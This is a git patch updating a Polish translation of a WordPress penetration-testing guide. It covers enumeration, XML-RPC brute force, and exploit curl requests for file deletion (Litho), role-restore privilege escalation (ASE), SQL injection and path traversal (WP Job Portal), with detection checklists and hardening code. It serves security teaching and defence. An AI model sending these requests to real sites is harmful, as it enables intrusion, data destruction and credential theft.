From 31bba4f233e163d67d6a28cc9c9f573a77461d47 Mon Sep 17 00:00:00 2001 From: Translator Date: Mon, 18 Aug 2025 16:37:17 +0000 Subject: [PATCH] Translated ['src/network-services-pentesting/pentesting-web/wordpress.md --- .../pentesting-web/wordpress.md | 113 ++++++++++++++---- 1 file changed, 90 insertions(+), 23 deletions(-) diff --git a/src/network-services-pentesting/pentesting-web/wordpress.md b/src/network-services-pentesting/pentesting-web/wordpress.md index 1a27674e6..ff547fa86 100644 --- a/src/network-services-pentesting/pentesting-web/wordpress.md +++ b/src/network-services-pentesting/pentesting-web/wordpress.md @@ -22,27 +22,27 @@ - `/wp-admin/wp-login.php` - `/login.php` - `/wp-login.php` -- `xmlrpc.php` to plik, który reprezentuje funkcję WordPressa, która umożliwia przesyłanie danych za pomocą HTTP jako mechanizmu transportowego i XML jako mechanizmu kodowania. Ten typ komunikacji został zastąpiony przez [REST API](https://developer.wordpress.org/rest-api/reference) WordPressa. +- `xmlrpc.php` to plik, który reprezentuje funkcję WordPressa, która umożliwia przesyłanie danych z HTTP jako mechanizmu transportowego i XML jako mechanizmu kodowania. Ten typ komunikacji został zastąpiony przez WordPress [REST API](https://developer.wordpress.org/rest-api/reference). - Folder `wp-content` to główny katalog, w którym przechowywane są wtyczki i motywy. - `wp-content/uploads/` to katalog, w którym przechowywane są wszelkie pliki przesłane na platformę. - `wp-includes/` To katalog, w którym przechowywane są pliki rdzeniowe, takie jak certyfikaty, czcionki, pliki JavaScript i widżety. -- `wp-sitemap.xml` W wersjach WordPressa 5.5 i wyższych, WordPress generuje plik XML mapy witryny ze wszystkimi publicznymi postami oraz publicznie zapytującymi typami postów i taksonomiami. +- `wp-sitemap.xml` W wersjach WordPressa 5.5 i wyższych, WordPress generuje plik XML mapy witryny ze wszystkimi publicznymi postami oraz publicznie zapytanymi typami postów i taksonomiami. -**Post eksploatacja** +**Post exploitation** - Plik `wp-config.php` zawiera informacje wymagane przez WordPress do połączenia z bazą danych, takie jak nazwa bazy danych, host bazy danych, nazwa użytkownika i hasło, klucze uwierzytelniające i sól oraz prefiks tabeli bazy danych. Ten plik konfiguracyjny może być również używany do aktywacji trybu DEBUG, co może być przydatne w rozwiązywaniu problemów. ### Uprawnienia użytkowników - **Administrator** -- **Redaktor**: Publikuje i zarządza swoimi i innymi postami +- **Redaktor**: Publikuje i zarządza swoimi oraz innymi postami - **Autor**: Publikuje i zarządza swoimi postami - **Współautor**: Pisze i zarządza swoimi postami, ale nie może ich publikować - **Subskrybent**: Przegląda posty i edytuje swój profil ## **Pasywna enumeracja** -### **Uzyskaj wersję WordPressa** +### **Sprawdź wersję WordPressa** Sprawdź, czy możesz znaleźć pliki `/license.txt` lub `/readme.html` @@ -81,7 +81,7 @@ curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/supp ### Wtyczki i motywy -Prawdopodobnie nie będziesz w stanie znaleźć wszystkich dostępnych Wtyczek i Motywów. Aby je wszystkie odkryć, będziesz musiał **aktywnie przeprowadzić Brute Force listy Wtyczek i Motywów** (na szczęście są dostępne zautomatyzowane narzędzia, które zawierają te listy). +Prawdopodobnie nie będziesz w stanie znaleźć wszystkich dostępnych Wtyczek i Motywów. Aby je wszystkie odkryć, będziesz musiał **aktywnie przeprowadzić Brute Force listy Wtyczek i Motywów** (na szczęście istnieją zautomatyzowane narzędzia, które zawierają te listy). ### Użytkownicy @@ -89,7 +89,7 @@ Prawdopodobnie nie będziesz w stanie znaleźć wszystkich dostępnych Wtyczek i ```bash curl -s -I -X GET http://blog.example.com/?author=1 ``` -Jeśli odpowiedzi są **200** lub **30X**, oznacza to, że id jest **ważne**. Jeśli odpowiedź to **400**, to id jest **nieważne**. +Jeśli odpowiedzi to **200** lub **30X**, oznacza to, że id jest **ważne**. Jeśli odpowiedź to **400**, to id jest **nieważne**. - **wp-json:** Możesz także spróbować uzyskać informacje o użytkownikach, wykonując zapytanie: ```bash @@ -107,7 +107,7 @@ Zauważ również, że **/wp-json/wp/v2/pages** może ujawniać adresy IP. ### XML-RPC -Jeśli `xml-rpc.php` jest aktywne, możesz przeprowadzić atak brute-force na dane logowania lub użyć go do przeprowadzania ataków DoS na inne zasoby. (Możesz zautomatyzować ten proces[ używając tego](https://github.com/relarizky/wpxploit) na przykład). +Jeśli `xml-rpc.php` jest aktywne, możesz przeprowadzić atak brute-force na dane logowania lub użyć go do uruchomienia ataków DoS na inne zasoby. (Możesz zautomatyzować ten proces[ używając tego](https://github.com/relarizky/wpxploit) na przykład). Aby sprawdzić, czy jest aktywne, spróbuj uzyskać dostęp do _**/xmlrpc.php**_ i wyślij to żądanie: @@ -304,7 +304,7 @@ Ta metoda polega na zainstalowaniu złośliwej wtyczki, która jest znana jako p 3. **Aktywacja wtyczki**: Po pomyślnej instalacji wtyczka musi być aktywowana przez pulpit. 4. **Eksploatacja**: - Z wtyczką "reflex-gallery" zainstalowaną i aktywowaną, można ją wykorzystać, ponieważ jest znana jako podatna. -- Framework Metasploit zapewnia exploit dla tej podatności. Ładując odpowiedni moduł i wykonując konkretne polecenia, można nawiązać sesję meterpreter, uzyskując nieautoryzowany dostęp do witryny. +- Framework Metasploit zapewnia exploit dla tej podatności. Ładując odpowiedni moduł i wykonując konkretne polecenia, można nawiązać sesję meterpreter, co daje nieautoryzowany dostęp do witryny. - Zauważono, że to tylko jedna z wielu metod eksploatacji witryny WordPress. Zawartość obejmuje wizualne pomoce ilustrujące kroki w pulpicie WordPressa dotyczące instalacji i aktywacji wtyczki. Ważne jest jednak, aby zauważyć, że eksploatacja podatności w ten sposób jest nielegalna i nieetyczna bez odpowiedniej autoryzacji. Informacje te powinny być używane odpowiedzialnie i tylko w kontekście prawnym, takim jak testy penetracyjne z wyraźnym pozwoleniem. @@ -332,13 +332,13 @@ mysql -u --password= -h localhost -e "use wordpress;UPDATE ``` ## Wordpress Plugins Pentest -### Attack Surface +### Powierzchnia ataku Znajomość tego, jak wtyczka Wordpress może ujawniać funkcjonalność, jest kluczowa, aby znaleźć luki w jej funkcjonalności. Możesz znaleźć, jak wtyczka może ujawniać funkcjonalność w poniższych punktach oraz kilka przykładów podatnych wtyczek w [**tym wpisie na blogu**](https://nowotarski.info/wordpress-nonce-authorization/). - **`wp_ajax`** -Jednym ze sposobów, w jaki wtyczka może ujawniać funkcje, jest za pośrednictwem handlerów AJAX. Mogą one zawierać błędy logiczne, autoryzacyjne lub uwierzytelniające. Co więcej, często zdarza się, że te funkcje opierają zarówno uwierzytelnianie, jak i autoryzację na istnieniu nonce Wordpress, który **może mieć każdy użytkownik uwierzytelniony w instancji Wordpress** (niezależnie od jego roli). +Jednym ze sposobów, w jaki wtyczka może ujawniać funkcje, jest za pomocą handlerów AJAX. Mogą one zawierać błędy logiczne, autoryzacyjne lub uwierzytelniające. Co więcej, często te funkcje będą opierać zarówno uwierzytelnianie, jak i autoryzację na istnieniu nonce Wordpress, który **może mieć każdy użytkownik uwierzytelniony w instancji Wordpress** (niezależnie od jego roli). To są funkcje, które mogą być używane do ujawniania funkcji w wtyczce: ```php @@ -364,19 +364,19 @@ $this->namespace, '/get/', array( ``` `permission_callback` to funkcja zwrotna, która sprawdza, czy dany użytkownik ma uprawnienia do wywołania metody API. -**Jeśli użyta jest wbudowana funkcja `__return_true`, po prostu pominie sprawdzenie uprawnień użytkownika.** +**Jeśli użyta zostanie wbudowana funkcja `__return_true`, po prostu pominie sprawdzanie uprawnień użytkownika.** - **Bezpośredni dostęp do pliku php** -Oczywiście, WordPress używa PHP, a pliki wewnątrz wtyczek są bezpośrednio dostępne z sieci. Tak więc, w przypadku, gdy wtyczka ujawnia jakąkolwiek podatną funkcjonalność, która jest wywoływana po prostu przez dostęp do pliku, będzie to wykorzystywalne przez każdego użytkownika. +Oczywiście, WordPress używa PHP, a pliki wewnątrz wtyczek są bezpośrednio dostępne z sieci. Tak więc, w przypadku, gdy wtyczka ujawnia jakąkolwiek podatną funkcjonalność, która jest wywoływana po prostu przez dostęp do pliku, będzie to podatne na wykorzystanie przez każdego użytkownika. ### Nieautoryzowane usuwanie dowolnych plików za pomocą wp_ajax_nopriv (Motyw Litho <= 3.0) -Motywy i wtyczki WordPressa często ujawniają obsługiwacze AJAX za pomocą haków `wp_ajax_` i `wp_ajax_nopriv_`. Gdy używana jest wariant **_nopriv_**, **funkcja zwrotna staje się dostępna dla nieautoryzowanych odwiedzających**, więc każda wrażliwa akcja musi dodatkowo implementować: +Motywy i wtyczki WordPressa często ujawniają obsługiwacze AJAX za pośrednictwem haków `wp_ajax_` i `wp_ajax_nopriv_`. Gdy używana jest wersja **_nopriv_**, **funkcja zwrotna staje się dostępna dla nieautoryzowanych odwiedzających**, więc każda wrażliwa akcja musi dodatkowo implementować: -1. Sprawdzenie **uprawnień** (np. `current_user_can()` lub przynajmniej `is_user_logged_in()`), oraz +1. **sprawdzenie uprawnień** (np. `current_user_can()` lub przynajmniej `is_user_logged_in()`), oraz 2. **CSRF nonce** weryfikowane za pomocą `check_ajax_referer()` / `wp_verify_nonce()`, oraz -3. **Ścisłą sanitację / walidację danych wejściowych**. +3. **Ścisłą sanitację / walidację wejścia**. Motyw wielofunkcyjny Litho (< 3.1) zapomniał o tych 3 kontrolach w funkcji *Usuń rodzinę czcionek* i ostatecznie dostarczył następujący kod (uproszczony): ```php @@ -405,7 +405,7 @@ Problemy wprowadzone przez ten fragment: #### Wykorzystanie -Napastnik może usunąć dowolny plik lub katalog **poniżej podstawowego katalogu przesyłania** (zwykle `/wp-content/uploads/`) wysyłając pojedyncze żądanie HTTP POST: +Atakujący może usunąć dowolny plik lub katalog **poniżej katalogu głównego przesyłania** (zwykle `/wp-content/uploads/`) wysyłając pojedyncze żądanie HTTP POST: ```bash curl -X POST https://victim.com/wp-admin/admin-ajax.php \ -d 'action=litho_remove_font_family_action_data' \ @@ -418,7 +418,7 @@ Inne istotne cele to pliki `.php` wtyczek/motywów (aby złamać wtyczki zabezpi #### Lista kontrolna wykrywania * Każdy `add_action( 'wp_ajax_nopriv_...')` callback, który wywołuje pomocniki systemu plików (`copy()`, `unlink()`, `$wp_filesystem->delete()`, itd.). -* Konkatenacja niesanitizowanego wejścia użytkownika w ścieżkach (szukaj `$_POST`, `$_GET`, `$_REQUEST`). +* Konkatenacja niesanitowanych danych wejściowych użytkownika w ścieżkach (szukaj `$_POST`, `$_GET`, `$_REQUEST`). * Brak `check_ajax_referer()` oraz `current_user_can()`/`is_user_logged_in()`. #### Wzmacnianie @@ -446,6 +446,70 @@ add_action( 'wp_ajax_litho_remove_font_family_action_data', 'secure_remove_font_ --- +### Eskalacja uprawnień poprzez przywracanie przestarzałych ról i brak autoryzacji (ASE "Wyświetl administratora jako rolę") + +Wiele wtyczek implementuje funkcję "wyświetl jako rola" lub tymczasowego przełączania ról, zapisując oryginalną rolę(-y) w meta użytkownika, aby mogły być przywrócone później. Jeśli ścieżka przywracania polega tylko na parametrach żądania (np. `$_REQUEST['reset-for']`) oraz liście zarządzanej przez wtyczkę bez sprawdzania uprawnień i ważnego nonce, prowadzi to do pionowej eskalacji uprawnień. + +Przykład z rzeczywistego świata znaleziono w wtyczce Admin and Site Enhancements (ASE) (≤ 7.6.2.1). Gałąź resetu przywracała role na podstawie `reset-for=`, jeśli nazwa użytkownika pojawiła się w wewnętrznej tablicy `$options['viewing_admin_as_role_are']`, ale nie przeprowadzała ani sprawdzenia `current_user_can()`, ani weryfikacji nonce przed usunięciem bieżących ról i ponownym dodaniem zapisanych ról z meta użytkownika `_asenha_view_admin_as_original_roles`: +```php +// Simplified vulnerable pattern +if ( isset( $_REQUEST['reset-for'] ) ) { +$reset_for_username = sanitize_text_field( $_REQUEST['reset-for'] ); +$usernames = get_option( ASENHA_SLUG_U, [] )['viewing_admin_as_role_are'] ?? []; + +if ( in_array( $reset_for_username, $usernames, true ) ) { +$u = get_user_by( 'login', $reset_for_username ); +foreach ( $u->roles as $role ) { $u->remove_role( $role ); } +$orig = (array) get_user_meta( $u->ID, '_asenha_view_admin_as_original_roles', true ); +foreach ( $orig as $r ) { $u->add_role( $r ); } +} +} +``` +Dlaczego jest to podatne na atak + +- Ufa `$_REQUEST['reset-for']` i opcji wtyczki bez autoryzacji po stronie serwera. +- Jeśli użytkownik wcześniej miał wyższe uprawnienia zapisane w `_asenha_view_admin_as_original_roles` i został obniżony, może je przywrócić, klikając ścieżkę resetowania. +- W niektórych wdrożeniach każdy uwierzytelniony użytkownik mógłby wywołać reset dla innej nazwy użytkownika, która nadal jest obecna w `viewing_admin_as_role_are` (uszkodzona autoryzacja). + +Wymagania wstępne ataku + +- Wersja wtyczki z podatnością z włączoną funkcją. +- Docelowe konto ma przestarzałą rolę o wysokich uprawnieniach zapisaną w metadanych użytkownika z wcześniejszego użycia. +- Jakakolwiek uwierzytelniona sesja; brak nonce/zdolności w procesie resetowania. + +Eksploatacja (przykład) +```bash +# While logged in as the downgraded user (or any auth user able to trigger the code path), +# hit any route that executes the role-switcher logic and include the reset parameter. +# The plugin uses $_REQUEST, so GET or POST works. The exact route depends on the plugin hooks. +curl -s -k -b 'wordpress_logged_in=...' \ +'https://victim.example/wp-admin/?reset-for=' +``` +Na podatnych wersjach to usuwa bieżące role i ponownie dodaje zapisane oryginalne role (np. `administrator`), skutecznie eskalując uprawnienia. + +Lista kontrolna wykrywania + +- Szukaj funkcji przełączania ról, które utrzymują „oryginalne role” w meta użytkownika (np. `_asenha_view_admin_as_original_roles`). +- Zidentyfikuj ścieżki resetowania/przywracania, które: + - Odczytują nazwy użytkowników z `$_REQUEST` / `$_GET` / `$_POST`. + - Modyfikują role za pomocą `add_role()` / `remove_role()` bez `current_user_can()` i `wp_verify_nonce()` / `check_admin_referer()`. + - Autoryzują na podstawie tablicy opcji wtyczki (np. `viewing_admin_as_role_are`) zamiast możliwości aktora. + +Wzmacnianie + +- Wymuszaj kontrole uprawnień na każdej gałęzi zmieniającej stan (np. `current_user_can('manage_options')` lub surowsze). +- Wymagaj nonce dla wszystkich mutacji ról/uprawnień i weryfikuj je: `check_admin_referer()` / `wp_verify_nonce()`. +- Nigdy nie ufaj nazwom użytkowników dostarczonym w żądaniu; rozwiązuj docelowego użytkownika po stronie serwera na podstawie uwierzytelnionego aktora i wyraźnej polityki. +- Unieważnij stan „oryginalnych ról” przy aktualizacjach profilu/roli, aby uniknąć przestarzałego przywracania wysokich uprawnień: +```php +add_action( 'profile_update', function( $user_id ) { +delete_user_meta( $user_id, '_asenha_view_admin_as_original_roles' ); +}, 10, 1 ); +``` +- Rozważ przechowywanie minimalnego stanu i używanie tokenów z ograniczonym czasem ważności oraz zabezpieczonych uprawnień do tymczasowych przełączeń ról. + +--- + ## Ochrona WordPressa ### Regularne aktualizacje @@ -472,7 +536,8 @@ Również, **instaluj tylko zaufane wtyczki i motywy WordPress**. - **Ogranicz próby logowania**, aby zapobiec atakom Brute Force - Zmień nazwę pliku **`wp-admin.php`** i zezwól na dostęp tylko wewnętrznie lub z określonych adresów IP. -### Nieautoryzowany SQL Injection przez niewystarczającą walidację (WP Job Portal <= 2.3.2) + +### Nieautoryzowana injekcja SQL przez niewystarczającą walidację (WP Job Portal <= 2.3.2) Wtyczka rekrutacyjna WP Job Portal ujawniała zadanie **savecategory**, które ostatecznie wykonuje następujący podatny kod wewnątrz `modules/category/model.php::validateFormData()`: ```php @@ -487,12 +552,12 @@ $query = "SELECT max(ordering)+1 AS maxordering FROM " Problemy wprowadzone przez ten fragment: 1. **Niesanitizowane dane wejściowe użytkownika** – `parentid` pochodzi bezpośrednio z żądania HTTP. -2. **Konkatenacja łańcuchów w klauzuli WHERE** – brak `is_numeric()` / `esc_sql()` / przygotowanej instrukcji. +2. **Konkatenacja ciągów w klauzuli WHERE** – brak `is_numeric()` / `esc_sql()` / przygotowanej instrukcji. 3. **Nieautoryzowana dostępność** – chociaż akcja jest wykonywana przez `admin-post.php`, jedynym sprawdzeniem jest **CSRF nonce** (`wp_verify_nonce()`), który każdy odwiedzający może pobrać z publicznej strony osadzającej shortcode `[wpjobportal_my_resumes]`. #### Wykorzystanie -1. Zdobądź świeży nonce: +1. Pobierz świeży nonce: ```bash curl -s https://victim.com/my-resumes/ | grep -oE 'name="_wpnonce" value="[a-f0-9]+' | cut -d'"' -f4 ``` @@ -507,9 +572,9 @@ curl -X POST https://victim.com/wp-admin/admin-post.php \ Odpowiedź ujawnia wynik wstrzykniętego zapytania lub zmienia bazę danych, co dowodzi SQLi. -### Nieautoryzowane pobieranie dowolnych plików / Przechodzenie przez ścieżki (WP Job Portal <= 2.3.2) +### Nieautoryzowane pobieranie dowolnych plików / Przechodzenie ścieżek (WP Job Portal <= 2.3.2) -Inne zadanie, **downloadcustomfile**, pozwalało odwiedzającym pobierać **dowolny plik na dysku** poprzez przechodzenie przez ścieżki. Wrażliwy punkt znajduje się w `modules/customfield/model.php::downloadCustomUploadedFile()`: +Inne zadanie, **downloadcustomfile**, pozwalało odwiedzającym na pobranie **dowolnego pliku na dysku** poprzez przechodzenie ścieżek. Wrażliwy punkt znajduje się w `modules/customfield/model.php::downloadCustomUploadedFile()`: ```php $file = $path . '/' . $file_name; ... @@ -532,5 +597,7 @@ Serwer odpowiada zawartością `wp-config.php`, ujawniając dane uwierzytelniaj - [Unauthenticated Arbitrary File Deletion Vulnerability in Litho Theme](https://patchstack.com/articles/unauthenticated-arbitrary-file-delete-vulnerability-in-litho-the/) - [Multiple Critical Vulnerabilities Patched in WP Job Portal Plugin](https://patchstack.com/articles/multiple-critical-vulnerabilities-patched-in-wp-job-portal-plugin/) +- [Rare Case of Privilege Escalation in ASE Plugin Affecting 100k+ Sites](https://patchstack.com/articles/rare-case-of-privilege-escalation-in-ase-plugin-affecting-100k-sites/) +- [ASE 7.6.3 changeset – delete original roles on profile update](https://plugins.trac.wordpress.org/changeset/3211945/admin-site-enhancements/tags/7.6.3/classes/class-view-admin-as-role.php?old=3208295&old_path=admin-site-enhancements%2Ftags%2F7.6.2%2Fclasses%2Fclass-view-admin-as-role.php) {{#include ../../banners/hacktricks-training.md}}